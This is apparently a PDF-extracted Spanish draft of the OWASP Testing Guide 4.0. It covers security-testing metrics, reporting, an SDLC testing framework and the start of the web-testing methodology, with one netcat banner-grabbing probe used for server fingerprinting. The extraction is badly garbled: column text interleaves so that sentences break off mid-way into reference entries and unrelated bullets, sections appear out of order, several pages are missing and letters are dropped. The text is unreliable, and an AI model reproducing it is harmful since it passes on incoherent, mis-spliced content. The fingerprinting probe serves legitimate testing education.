Definir los objetivos de métricas de pruebas de seguridad y mediciones es un prerrequisito para el uso de datos de las pruebas de seguridad para procesos de análisis de riesgo y gestión. Por ejemplo, una medida como el número total de vulnerabilidades encontradas con las pruebas de seguridad podría cuantificar la postura de seguridad de la aplicación. Estas mediciones también ayudan a identificar los objetivos de seguridad para pruebas de seguridad de software. Por ejemplo, reducir el número de vulnerabilidades a un número aceptable (mínimo) antes de que la aplicación sea lanzada a producción.

Otra meta manejable sería comparar la postura de seguridad de la aplicación contra una línea de base para evaluar mejoras en los procesos de seguridad de la aplicación. Por ejemplo, la línea base de métricas de seguridad puede ser una aplicación que fue probada solamente con pruebas de penetración. Los datos de seguridad obtenidos de una aplicación que también fue probada durante la codificación debe mostrar una mejora (p. ej., menor número de vulnerabilidades) al comparar con la línea base.

En pruebas de software tradicional, el número de defectos de software, tales como los errores encontrados en una aplicación, podría proporcionar una medida de la calidad del software. Del mismo modo, las pruebas de seguridad pueden proporcionar una medida de seguridad de software. Desde el punto de vista de la gestión de defectos e informes, la calidad del software y las pruebas de seguridad pueden utilizar clasificaciones similares y el mismo esfuerzo para ver las causas principales y remediación de defectos. Desde el punto de vista de la causa principal, un defecto de seguridad puede ser debido a un error en el diseño (por ejemplo, fallas de seguridad) o debido a un error en la codificación (por ejemplo, errores de seguridad). Desde la perspectiva del esfuerzo requerido para arreglar un defecto, tanto los defectos de seguridad como los de calidad, se pueden medir en términos de horas del desarrollador para implementar la solución, las herramientas y recursos necesarios para reparar y el costo para implementar la solución.

Una característica de los datos de pruebas de seguridad, en comparación con los datos de calidad, es la clasificación en términos de la amenaza, la exposición de la vulnerabilidad y el impacto potencial que implica la vulnerabilidad para determinar el riesgo. Las pruebas de aplicaciones de seguridad consisten en gestionar los riesgos técnicos para asegurarse de que las defensas de la aplicación alcancen niveles aceptables. Por esta razón, los datos de pruebas de seguridad deben apoyar la estrategia de riesgo para la seguridad en puntos críticos de control durante el SDLC.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 28

Guia de pruebas 4.0 "Borrador"

Por ejemplo, las vulnerabilidades encontradas en el código fuente mediante el análisis del código fuente representan una medida inicial del riesgo. Una medida de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse mediante la determinación de los factores de exposición y probabilidad, validando la vulnerabilidad con pruebas de penetración. Las métricas de riesgo asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el poder a la gestión de negocio para poder tomar decisiones de riesgo, tales como para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a diferentes niveles dentro de la organización (por ejemplo, de negocios, así como los riesgos técnicos).

Al evaluar la postura de seguridad de una aplicación, es importante tener en cuenta ciertos factores, tales como el tamaño de la aplicación que está siendo desarrollada. Se ha demostrado estadísticamente que el tamaño de la aplicación se relaciona con el número de problemas encontrados en la aplicación durante la prueba. Una medida del tamaño de la aplicación es el número de líneas de código (LOC) de la aplicación. Por lo general, los defectos de calidad de software van desde unos siete a diez defectos por cada mil líneas de código nuevo y corregido [21]. Puesto que las pruebas pueden reducir el número total cerca de un 25% con solo una prueba, es lógico que las aplicaciones de mayor tamaño sean probadas más a menudo que las aplicaciones de tamaño más pequeño.

Los datos de pruebas de seguridad pueden ser absolutos, como el número de vulnerabilidades detectadas durante la revisión de código manual; así como comparativo, como el número de vulnerabilidades detectadas durante las revisiones de código comparadas con las pruebas de penetración. Para responder a preguntas sobre la calidad del proceso de seguridad, es importante determinar una línea base para lo que podría considerarse aceptable y bueno. Los datos de pruebas de seguridad también pueden apoyar objetivos específicos del análisis de seguridad. Estos objetivos podrían ser el cumplimiento de las normas de seguridad y estándares de seguridad de la información, los procesos de gestión de la seguridad, la identificación de causas principales de seguridad y mejoras en los procesos y el análisis de costo- beneficio de la seguridad.

Cuando se reportan los datos de las pruebas de seguridad, estos deben proporcionar métricas que apoyen el análisis. El alcance del análisis es la interpretación de los datos de prueba para encontrar pistas sobre la seguridad del software en producción, así como la efectividad del proceso.

Algunos ejemplos de las pistas sustentadas por datos de prueba de seguridad pueden ser:

• ¿Se reducen las vulnerabilidades a un nivel aceptable para el lanzamiento?

Cuando las pruebas de seguridad se realizan en varias etapas de la SDLC, los datos de prueba pueden demostrar la capacidad de las pruebas de seguridad en la detección de vulnerabilidades en cuanto estas son introducidas. Los datos de prueba también pueden probar la eficacia de la eliminación de las vulnerabilidades mediante la implementación de defensas en diferentes puntos de control de la SDLC. Una medida de este tipo se define también como "métricas de contención" y proporciona una medida de la capacidad de mantener la seguridad dentro de cada fase del proceso de desarrollo para mantener la seguridad en cada una. Estas métricas de contención también son un factor crítico para reducir el costo al solucionar las vulnerabilidades. Es menos costoso hacer frente a vulnerabilidades que se encuentran en la fase misma de la SDLC, que arreglarlas más adelante en otra fase.

• ¿Cómo se compara la calidad de la seguridad de este producto con otros productos similares de software? • ¿Se están cumpliendo todos los requisitos de pruebas de seguridad? • ¿Cuáles son las causas principales de los problemas de seguridad? • ¿ ué tan numerosas son las fallas de seguridad con respecto a los errores de seguridad?

• ¿ ué actividad de seguridad es más eficaz para encontrar vulnerabilidades? • ¿ ué equipo es más productivo en arreglar defectos de seguridad y vulnerabilidades?

Las métricas de pruebas de seguridad pueden apoyar la seguridad de riesgos, costo y gestión de defectos cuando se asocian con objetivos tangibles y a tiempo, tales como:

• reducir el número total de vulnerabilidades en un 30% • solución de temas de seguridad en un determinado plazo (por ejemplo, antes del lanzamiento de la beta)

• ¿ ué porcentaje del total de vulnerabilidades es de alto riesgo? • ¿ ué herramientas son más eficaces en la detección de vulnerabilidades de seguridad? • ¿ ué tipo de pruebas de seguridad son más eficaces para detectar vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)? • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de seguridad del código? • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de seguridad del diseño?

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 29

Guia de pruebas 4.0 "Borrador"

• La causa principal de los temas de seguridad (por ejemplo, los errores de seguridad, la falla de seguridad) Para hacer un juicio coherente utilizando los datos de prueba, es importante tener una buena comprensión del proceso de pruebas, así como de las herramientas de prueba. Se debe adoptar una taxonomía de herramientas para decidir qué herramientas de seguridad se deben utilizar. Las herramientas de seguridad se pueden calificar como buenas para encontrar vulnerabilidades comunes conocidas que apuntan a distintos objetos.

• La técnica de pruebas utilizada para encontrar el problema • La solución a la vulnerabilidad (por ejemplo, la defensa)

• La clasificación de gravedad de la vulnerabilidad (alta, media, baja o puntuación CVSS) La preocupación es que no se analizan los temas de seguridad desconocidos. El hecho de que se pase una prueba de seguridad no significa que el software o la aplicación es buena. Algunos estudios [22] han demostrado que, en el mejor de los casos, las herramientas sólo pueden encontrar el 45% de todas las vulnerabilidades.

Incluso las más sofisticadas herramientas de automatización no son competencia para un evaluador de seguridad experimentado. Sólo confiar en los resultados de pruebas exitosas de las herramientas de automatización les dará a los profesionales de la seguridad una falsa sensación de seguridad. Por lo general, mientras más experimentados son los evaluadores de seguridad en la metodología de pruebas de seguridad y herramientas de prueba, mejores serán los resultados de las pruebas de seguridad y análisis. Es importante que los gerentes que realizan una inversión en herramientas de pruebas de seguridad también consideren una inversión en la contratación de recursos humanos calificados, así como en capacitación para pruebas de seguridad.

Reporte de requerimientos La postura de seguridad de una aplicación puede ser caracterizada desde la perspectiva del efecto, tal como el número de vulnerabilidades y la calificación de riesgo de las vulnerabilidades, así como desde la perspectiva de la causa u origen, tales como problemas de codificación, fallos arquitectónicos y errores de configuración.

Las vulnerabilidades pueden clasificarse según diversos criterios. La métrica de la gravedad de vulnerabilidad más comúnmente utilizada es el Foro de Respuesta a Incidentes y Equipos de Seguridad (FIRST) Sistema de Puntuación de Vulnerabilidad Común (CVSS), que actualmente se encuentra en la versión 2 con la versión 3, cuyo lanzamiento está previsto para dentro de poco.

Al reportar datos de prueba de seguridad, la mejor práctica es incluir la siguiente información:

• La categorización de cada tipo de vulnerabilidad

Describiendo cuál es la amenaza a la seguridad, será posible entender si y por qué el control de mitigación es ineficaz en la mitigación de la amenaza.

Informar la causa principal del problema puede ayudar a identificar lo que necesita ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de seguridad principal de la vulnerabilidad del software será transgredir el código fuente.

Una vez que se reportan los problemas, también es importante proporcionar orientación al desarrollador de software para que pueda volver a probar y encontrar la vulnerabilidad. Esto podría significar usar una técnica de prueba de Caja Blanca (por ejemplo, revisión del código de seguridad con un analizador de código estático) para encontrar si el código es vulnerable. Si se encuentra una vulnerabilidad a través de una técnica de Caja Negra (prueba de penetración), el informe de prueba también debe proporcionar información sobre cómo validar la exposición de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).

La información acerca de cómo solucionar la vulnerabilidad debe ser detallada suficientemente para que un desarrollador pueda implementar una solución. Debe dar ejemplos de codificación segura, cambios en la configuración y proporcionar referencias adecuadas.

Finalmente, la clasificación de la gravedad contribuye al cálculo de la calificación de riesgo y ayuda a priorizar los esfuerzos de remediación. Por lo general, asignar una calificación de riesgo a la vulnerabilidad involucra el análisis de riesgo externo basado en factores tales como el impacto y la exposición.

Casos de negocios Para que las métricas de pruebas de seguridad sean útiles, deben proporcionar valor a los depositarios o accionistas de los datos de las pruebas de seguridad de la organización. Los accionistas pueden incluir gerentes de proyecto, desarrolladores, oficinas de seguridad de información, auditores y oficiales principales de

• La amenaza a la seguridad que expone el tema

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 30

Guia de pruebas 4.0 "Borrador"

información. El valor puede ir en términos de la rentabilidad que tiene cada accionista del proyecto, en términos del rol y la responsabilidad.

[1] T. DeMarco, Controlling Software Projects: Management, Measurement and Estimation, Yourdon Press, 1982 [2] S. Payne, A Guide to Security Metrics - sans.org

Los desarrolladores de software buscan demostrar, en los datos de pruebas de seguridad, que el software está codificado de una manera más segura y eficiente. Esto les permite apoyar el caso para usar herramientas de análisis de código fuente, así como seguir estándares de codificación y asistir a entrenamientos de seguridad de software.

[3] NIST, The economic impacts of inadequate infrastructure for software testing - nist.gov [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk [5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC 2004

Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad pueden mostrar los proyectos que están dentro del cronograma, avanzar de acuerdo al objetivo de las fechas de entrega y mejorar durante las pruebas.

[6] Bruce Schneier, Cryptogram Issue #9 - schneier.com [7] Symantec, Threat Reports - symantec.com [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov [9] Senator Peace and Assembly Member Simitian, SB 1386- leginfo.ca.gov

Los datos de pruebas de seguridad también ayudan al caso del negocio cuando la iniciativa proviene de agentes de seguridad de la información (ISO). Por ejemplo, puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no afectan la ejecución de los proyectos; más bien reducen la carga de trabajo total necesaria para atacar vulnerabilidades que se presentarán más adelante en la producción.

[10] European Union, Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data - ec.europa.eu [11] NIST, Risk management guide for information technology systems csrc.nist.gov [12] SEI, Carnegie Mellon, Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) - cert.org

Para los auditores de cumplimiento, las métricas de pruebas de seguridad [13] Ken Thompson, Reflections on Trusting Trust, Reprinted from Communication of the ACM - cm.bell-labs.com proporcionan un nivel de garantía, seguridad y confianza del software que cumple con el estándar, a través de los procesos de revisión de seguridad dentro de la organización.

Por último, los oficiales en jefe de la información (CIO) y oficiales en jefe de seguridad de la información (CISO), que son responsables del presupuesto que debe asignarse en recursos para la seguridad, buscan la derivación de un análisis de costo - beneficio de los datos de pruebas de seguridad. Esto les permite tomar decisiones fundamentadas con respecto a las actividades de seguridad y herramientas en las que deben invertir. Una de las métricas que respaldan dicho análisis es el retorno sobre la inversión (ROI) en seguridad [23]. Para derivar dichas métricas de los datos de pruebas de seguridad, es importante cuantificar la diferencia entre el riesgo debido a la exposición de las vulnerabilidades y la efectividad de las pruebas de seguridad en la mitigación de los riesgos de seguridad, y factorizar esta brecha con el costo de las actividades de pruebas de seguridad o las herramientas de prueba adoptadas.

Referencias

[14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com [15] FFIEC, Authentication in an Internet Banking Environment www.ffiec.gov [16] PCI Security Standards Council, PCI Data Security Standard pcisecuritystandards.org [17] MSDN, Cheat ¶msdn.microsoft.com

Sheet:

Web

Application

Security

Frame

-

[18] MSDN, Improving Web Application Security, Chapter 2, Threat And Countermeasures - msdn.microsoft.com [19] Sindre,G. Opdmal A., Capturing Security Requirements Through Misuse Cases - folk.uio.no [20] Improving Security Across the Software Development Lifecycle Task Force, Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices - criminal-justice-careers.com [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE - cwe.mitre.org

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 31

Guia de pruebas 4.0 "Borrador"

[22] Marco Morana, Building Security Into The Software Life Cycle, A

3

Business Case - blackhat.com

El Framework Referencial de Pruebas OWASP Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una organización. Puede ser visto como un framework referencial que comprende técnicas y tareas que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 32

Guia de pruebas 4.0 "Borrador"

Resumen Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una organización. Puede ser visto como un framework referencial que comprende técnicas y tareas que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC). Las empresas y equipos de proyecto pueden utilizar este modelo para desarrollar su propio framework de pruebas y para mirar los servicios de pruebas de los proveedores. Este framework de pruebas no puede considerarse como prescriptivo, sino como un enfoque flexible que puede ser extendido y moldeado para adaptarse a los procesos de desarrollo y cultura de la organización.

su lugar, presentamos un modelo de desarrollo genérico, y el lector debe seguirlo según el proceso de su empresa.

Este framework de pruebas consiste de las siguientes actividades que deben ocurrir:

• Antes del inicio del desarrollo Esta sección pretende ayudar a las organizaciones a construir un proceso completo de análisis estratégico y no está dirigida a consultores o contratistas que tienden a ser más tácticos en las zonas específicas de la prueba.

• Durante la definición y diseño •.Durante el desarrollo • Durante la implementación

Es fundamental entender por qué se debe crear un framework de pruebas de inicio a fin; la respuesta es porque es crucial para evaluar y mejorar la seguridad del software. En la escritura de código seguro, Howard y LeBlanc cuentan que emitir un boletín de seguridad le cuesta a Microsoft por lo menos $100.000, y les cuesta colectivamente a sus clientes mucho más que eso el aplicar los parches de seguridad. También observan que el sitio web de delitos informáticos del gobierno de Estados Unidos (http://www.justice.gov/criminal/cybercrime/) detalla recientes casos criminales y la pérdida de las organizaciones. Las pérdidas comunes superan con creces los USD $100.000.

Con una economía como esta, no es de extrañarse por qué los proveedores de software pasan de realizar únicamente pruebas de seguridad de Caja Negra, que sólo se puede realizar en las aplicaciones que ya se han desarrollado, a concentrarse en las pruebas en los primeros ciclos del desarrollo de aplicaciones tales como la definición, diseño y desarrollo.

Muchos practicantes de seguridad todavía ven la seguridad en el reino de las pruebas de penetración. Como comentamos antes, aunque las pruebas de penetración tienen un papel que desempeñar, son generalmente ineficaces en encontrar errores y dependen excesivamente de la habilidad del evaluador. Solo deben considerarse como técnicas de implementación, o para crear conciencia sobre problemas de producción. Para mejorar la seguridad de las aplicaciones, debe mejorarse la calidad de la seguridad del software. Esto significa probar la seguridad en las etapas de definición, diseño, desarrollo, implementación y mantenimiento y no depender de la costosa estrategia de esperar hasta que el código esté construido completamente.

Como comentamos en la introducción de este documento, existen muchas metodologías de desarrollo como el proceso unificado racional, desarrollo ágil y extremo y metodologías tradicionales de cascada. La intención de esta guía no es proponer ni una metodología de desarrollo en particular ni proporcionar orientación específica que se adhiere a cualquier metodología en particular. En

• Mantenimiento y operaciones

Fase 1: Antes del inicio del desarrollo Fase 1.1: Defina un SDLC Antes del inicio del desarrollo de aplicaciones, un SDLC adecuado debe ser definido donde la seguridad es inherente en cada etapa.

Fase 1.2: Revise las políticas y estándares Asegúrese de que existen adecuadas políticas, estándares y documentación en el lugar. La documentación es extremadamente importante ya que da a los equipos las pautas de desarrollo y las políticas que pueden seguir.

La gente sólo puede hacer lo correcto si sabe lo que es lo correcto.

Si la aplicación se desarrollara en Java, es esencial que exista un estándar de codificación segura de Java. Si la aplicación debe utilizar la criptografía, es esencial que haya un estándar de criptografía. Ninguna política o norma puede cubrir cada situación que enfrentará el equipo de desarrollo. Al documentar las cuestiones comunes y predecibles, habrá menos decisiones que necesiten ser hechas durante el proceso de desarrollo.

Fase 1.3: Desarrolle criterios de mediciones y métricas y asegure su trazabilidad Antes de que comience el desarrollo, planifique el plan de medición. Definir los criterios que deben medirse proporciona visibilidad de los defectos tanto en el

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 33

Guia de pruebas 4.0 "Borrador"

proceso como en el producto. Es esencial definir las métricas antes de que comience el desarrollo, ya que puede haber la necesidad de modificar el proceso con el fin de capturar los datos.

Las aplicaciones deben tener una arquitectura y diseño documentados. Esta documentación puede incluir modelos, documentos textuales y otros artefactos similares. Es esencial probar estos artefactos para asegurar que el diseño y la arquitectura de la aplicación mantienen el nivel adecuado de seguridad según lo definido en los requisitos.

Fase 2: Durante la definición y diseño Fase 2.1: Revise los requisitos de seguridad Los requisitos de seguridad definen cómo funciona una aplicación desde

una perspectiva de seguridad. Es esencial que los requerimientos de seguridad sean probados. Probar, en este caso, significa verificar los supuestos que se hacen en los requisitos y las pruebas para ver si hay diferencias en las definiciones de los requisitos.

Identificar fallas de seguridad en la fase de diseño no sólo es uno de los momentos más eficientes en costo para identificar fallas, sino que puede ser uno de los momentos más eficaces para realizar cambios. Por ejemplo, si se identifica que el diseño exige autorización para las decisiones en varios lugares, puede ser apropiado considerar un componente de autorizaciones centralizado. Si la aplicación realiza una validación de datos en múltiples lugares, puede ser apropiado desarrollar un marco de validación central (es decir, la validación de correcciones en un solo lugar, en vez de cientos de lugares; es mucho más económico).

Si se descubren debilidades, éstas deben ser entregadas al arquitecto del sistema para buscar enfoques alternativos. Por ejemplo, si hay un requisito de seguridad que indica que los usuarios deben estar registrados antes de que puedan acceder a la sección de documentos de un sitio web, ¿esto significa que el usuario debe estar registrado en el sistema o que el usuario esté autenticado? Asegúrese de que los requerimientos sean muy claros.

Al buscar brechas de necesidades, considere mirar los mecanismos de seguridad tales como:

• Administración de usuarios • Autenticación • Autorización • Confidencialidad de datos • Integridad

Fase 2.3: Cree y revise modelos UML Una vez que el diseño y la arquitectura estén completos, construya modelos de Lenguaje de Modelaje Unificado (UML) que describan cómo funciona la aplicación. En algunos casos, estos ya pueden estar disponibles. Use estos modelos para confirmar con los diseñadores de sistemas una comprensión exacta de cómo funciona la aplicación. Si se descubren debilidades, éstas deben ser entregadas al arquitecto del sistema para buscar enfoques alternativos.

Etapa 2.4: Cree y revise modelos de amenazas Provisto con la revision del diseño y la arquitectura de los modelos UML, y habiendo aclarado exactamente cómo funciona el sistema, lleve a cabo un ejercicio de modelaje de amenazas. Desarrolle escenarios realistas de las amenazas. Analice el diseño y la arquitectura para asegurar que estas amenazas han sido mitigadas, aceptadas por el negocio o asignadas a una tercera persona, como una empresa de seguros. Cuando las amenazas identificadas no tengan estrategias de mitigación, revise el diseño y la

• Responsabilidad • Administración de sesiones

arquitectura con el arquitecto de sistemas para modificar el diseño.

• Seguridad de transporte • Segregación de sistema de información en niveles • Cumplimiento de legislación y estándares (incluidas las normas de privacidad, gubernamentales e industria)

Fase 2.2: Revise el diseño y arquitectura

Fase 3: Durante el desarrollo En teoría, el desarrollo es la aplicación de un diseño. Sin embargo, en el mundo real, muchas decisiones de diseño se realizan durante el desarrollo de la codificación. Son, a menudo, decisiones pequeñas que eran demasiado detalladas para ser descritas en el diseño, o temas donde no se ofrecieron políticas o estándares de orientación. Si el diseño y la arquitectura no fueran adecuados, el desarrollador se enfrentará a muchas decisiones. Si hay normas y políticas insuficientes, el desarrollador se enfrentará aún a más decisiones.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 34

Guia de pruebas 4.0 "Borrador"

Fase 3.1: Camine a través del código El equipo de seguridad debería realizar una "caminata" a través del código con los desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a través del código es un recorrido de alto nivel a través del código, donde los desarrolladores pueden explicar la lógica y el flujo del código implementado. Esta caminata permite al equipo de revisión de código obtener una comprensión general del código y permite a los desarrolladores explicar por qué ciertas cosas se desarrollaron de la manera en que lo hicieron.

El propósito no es realizar una revisión de código, sino entender en un nivel alto el flujo, el diseño y la estructura del código que compone la aplicación.

Para más información sobre las listas OWASP, por favor consulte la guía de OWASP para Seguridad de Aplicaciones Web, o la última edición de la OWASP Top 10.

Fase 4: Durante la fase de implementación Fase 4.1: Prueba de aplicación y penetración Habiendo probado los requisitos, analizado el diseño y realizada la revisión de código, se puede suponer que todos los temas han sido cubiertos. Esperemos que este sea el caso, pero realizar pruebas de penetración de la aplicación después de que se ha implementado proporciona una última comprobación para asegurarse de que nada se ha escapado.

Fase 3.2: Revisiones de código Armado con una buena comprensión de cómo está estructurado el código y por qué ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede examinar ahora el código real en busca de defectos de seguridad.

Las revisiones de código estático validan el código con una serie de listas de verificación, que incluyen:

• Requerimientos del negocio para la disponibilidad, confidencialidad e integridad. • Guía OWASP o listado Top 10 para exposiciones técnicas (dependiendo de la profundidad de la revisión). • Cuestiones específicas relacionadas con el lenguaje o el framework utilizado, tales como el papel Escarlata para el PHP o la lista de Garantía de codificación Microsoft para ASP.NET. • Los requisitos específicos de la industria, tales como Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, las guías de Visa Merchant u otros regímenes normativos.

Fase 4.2: Pruebas de gestión de configuración La prueba de penetración de la aplicación debe incluir la comprobación de cómo la infraestructura fue implementada y asegurada. Aunque la aplicación puede ser segura, un pequeño aspecto de la configuración podría estar todavía en una fase de instalación por defecto y ser vulnerable a la explotación.

Fase 5: Mantenimiento y operaciones Fase 5.1: Revisión de la gestión de la conducta operacional Debe existir un proceso implantado que detalle cómo se maneja tanto la parte operativa de la aplicación como la infraestructura.

Etapa 5.2: Realice pruebas de salud de la conducta periódicamente Las pruebas de salud de la conducta deben realizarse mensual o trimestralmente, tanto sobre la aplicación como sobre la infraestructura para garantizar que no hayan aparecido nuevos riesgos de seguridad y que el nivel de seguridad esté todavía intacto.

En términos del retorno sobre los recursos invertidos (sobre todo tiempo), las revisiones de código estático producen rendimientos de mayor calidad que cualquier otro método

Etapa 5.3: Garantice la verificación después del cambio

de revisión de seguridad y dependen menos en la habilidad del revisor. Sin embargo, no son una solución milagrosa y necesitan ser consideradas cuidadosamente dentro de un régimen de prueba de amplio espectro.

Después de que cada cambio ha sido aprobado y probado en el entorno de control de calidad e implementado en el entorno de producción, es de vital importancia que el cambio sea comprobado para asegurarse de que el nivel de seguridad no ha sido afectado por él . Esto debe estar integrado dentro del proceso de gestión del cambio.

Un flujo de trabajo de pruebas SDLC típico

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 35

Guia de pruebas 4.0 "Borrador"

La siguiente imagen muestra un típico flujo de pruebas de SDLC.

4

Pruebas de Seguridad Aplicaciones Web

de

Las siguientes secciones describen las 12 categorías de la Metodología de Pruebas de Penetración de una Aplicación Web.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 36

Guia de pruebas 4.0 "Borrador"

Pruebas: Introducción y objetivos

• Abierto: cada experto en seguridad puede participar con su experiencia en el proyecto. Todo es gratis.

Esta sección describe la metodología OWASP de pruebas de seguridad de aplicaciones web y explica cómo evaluar para encontrar evidencias de vulnerabilidades dentro de la aplicación, debido a las deficiencias de los controles de seguridad identificados.

• Colaborativo: Se realizan lluvias de ideas antes de que los artículos sean escritos, así el equipo puede compartir ideas y desarrollar una visión colectiva del proyecto. Esto significa un consenso básico, un público más amplio y mayor participación.

¿Qué son las pruebas de seguridad de aplicaciones web?

Este enfoque tiende a crear una metodología de pruebas definida que será:

Una prueba de seguridad es un método para evaluar la fiabilidad de un sistema informático o red mediante una metódica validación y verificación de la efectividad de los controles de seguridad de la aplicación. Una prueba de seguridad de aplicaciones web se centra sólo en evaluar la seguridad de una aplicación web. El proceso implica un análisis activo de la aplicación en busca de deficiencias, fallas técnicas o vulnerabilidades. Cualquier problema de seguridad que se encuentre será presentado al propietario del sistema, junto con una evaluación del impacto y una propuesta de mitigación o una solución técnica.

• Constante • Reproducible • Rigurosa • Bajo control de calidad

¿Qué es una vulnerabilidad? Una vulnerabilidad es un defecto o una debilidad en el diseño, implementación, operación o gestión de un sistema que podría ser explotado para comprometer los objetivos de seguridad del sistema.

Los problemas que se abordarán están totalmente documentados y probados. Es importante utilizar un método para probar todas las vulnerabilidades conocidas y documentar todas las actividades de pruebas de seguridad.

¿Cuál es la metodología de pruebas de OWASP? ¿Qué es una amenaza? Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario interno, una inestabilidad del sistema, etc.) que puedan dañar los activos propios de una aplicación (recursos de valor como los datos en una base de datos o en el sistema de archivos) mediante la explotación de una vulnerabilidad.

Las pruebas de seguridad nunca serán una ciencia exacta donde se puede definir una lista completa de todos los temas posibles que deben ser probados. De hecho, las pruebas de seguridad son sólo una técnica apropiada para probar la seguridad de aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger todas las técnicas de pruebas posibles, explicar estas técnicas y mantener la guía actualizada. El método de pruebas de seguridad de aplicaciones Web OWASP se basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca información sobre la aplicación a probar.

¿Qué es una prueba? Una prueba es una acción que permite demostrar que una aplicación cumple con los requisitos de seguridad de sus grupos de interés.

El Enfoque en la escritura de esta guía El enfoque de la OWASP es abierto y colaborativo:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 37

Guia de pruebas 4.0 "Borrador"

El modelo de prueba consiste de:

El conjunto de pruebas activas se han dividido en 11 categorías para un total de 91 controles:

• Evaluador: uien realiza las actividades de prueba • Herramientas y metodología: el núcleo de este proyecto de guía de pruebas • Aplicación: la Caja Negra para la prueba • Recopilación de información • Pruebas de gestión de configuración e implementación La prueba se divide en dos fases: • Pruebas de gestión de identidad • Pruebas de autenticación • Fase 1 Modo pasivo: • Pruebas de autorización En el modo pasivo, el evaluador intenta comprender la lógica de la aplicación y juega con la aplicación. Se pueden utilizar herramientas para la recopilación de información. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe comprender todos los puntos de acceso (puertas) de la aplicación (por ejemplo, encabezados HTTP, parámetros y cookies). La sección de Recolección de Información explica cómo realizar una prueba de modo pasivo.

• Pruebas de gestión de sesión • Pruebas de validación de ingreso • Manejo de errores • Criptografía • Pruebas de lógica del negocio

Por ejemplo, el evaluador puede encontrar lo siguiente: • Pruebas del punto de vista del cliente

https://www.example.com/login/Authentic_Form.html Pruebas de la recopilación de la información

Esto puede indicar una forma de autenticación donde la aplicación solicita un nombre de usuario y contraseña.

Entender la configuración implementada del servidor que aloja la aplicación web es casi tan importante como la aplicación misma de pruebas de seguridad. Después de todo, una cadena de aplicaciones sólo es tan fuerte como su eslabón más débil. Las plataformas de aplicación son amplias y variadas, pero algunos errores clave de configuración de la plataforma pueden comprometer la aplicación de la misma manera que una aplicación no segura puede comprometer al servidor.

Los siguientes parámetros representan dos puntos de acceso (puertas) a la aplicación. Mediante un motor de búsqueda, realice una búsqueda descubrimiento/reconocimiento de fugas de información (OTG-INFO-001)

de

http://www.example.com/Appx.jsp?a=1&b=1 Resumen

En este caso, la aplicación muestra dos puertas (parámetros a y b). Todas las puertas que se encuentran en esta fase representan un punto de prueba. Una hoja de cálculo con el árbol de directorios de la aplicación y todos los puntos de acceso podría ser útil para la segunda fase.

• Fase 2 Modo Activo: En esta fase el evaluador empieza a probar utilizando la metodología descrita en las secciones siguientes.

Existen elementos directos e indirectos para el descubrimiento y reconocimiento mediante motores de búsqueda. Los métodos directos se refieren a buscar en los índices y el contenido asociado al caché. Los métodos indirectos se refieren a información sensible de la configuración y diseño mediante búsquedas en foros, grupos de noticias y sitios de licitación web. Una vez que un robot de motores de búsqueda ha terminado de arrastrarse, comienza la indexación de la página web basada en etiquetas y atributos asociados, tales como

Bad request

A continuación se muestra un ejemplo de httprint en funcionamiento:

Your browser sent to query this server could not understand.

Respuesta de SunONE 6.1

$ nc sunone.example.com 80 GET / JUNK/1.0

Bad request

Herramientas • httprint - net-square.com

Pruebas en línea

• httprecon - computec.ch

Las herramientas en línea se pueden utilizar si el evaluador quiere probar más sigilosamente y no desea conectarse directamente a la página web objetivo. Un ejemplo de una herramienta en línea que ofrece a menudo una gran cantidad de información sobre servidores web objetivos es Netcraft. Con esta

• Netcraft - netcraft.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 45

Guia de pruebas 4.0 "Borrador"

herramienta podemos recuperar información acerca del sistema operativo, servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, historial de cambios relacionados con el servidor web y el sistema operativo. A continuación se muestra un ejemplo:

Proteja la capa de presentación del servidor web detrás de un proxy inverso endurecido. Ofusque la capa de presentación de los encabezados del servidor web. • Apache • IIS

Revise los meta archivos del servidor web en busca de fugas de información (OTG-INFO003) Resumen Esta sección describe cómo probar el archivo robots.txt en busca de fugas de información de la(s) ruta(s) al directorio de la aplicación o de la carpeta de la aplicación web. Además, también puede crearse la lista de directorios que deben ser evitados por las arañas, robots o rastreadores como una dependencia de rutas de ejecución del mapa a través de la aplicación (OTG-INFO-007)

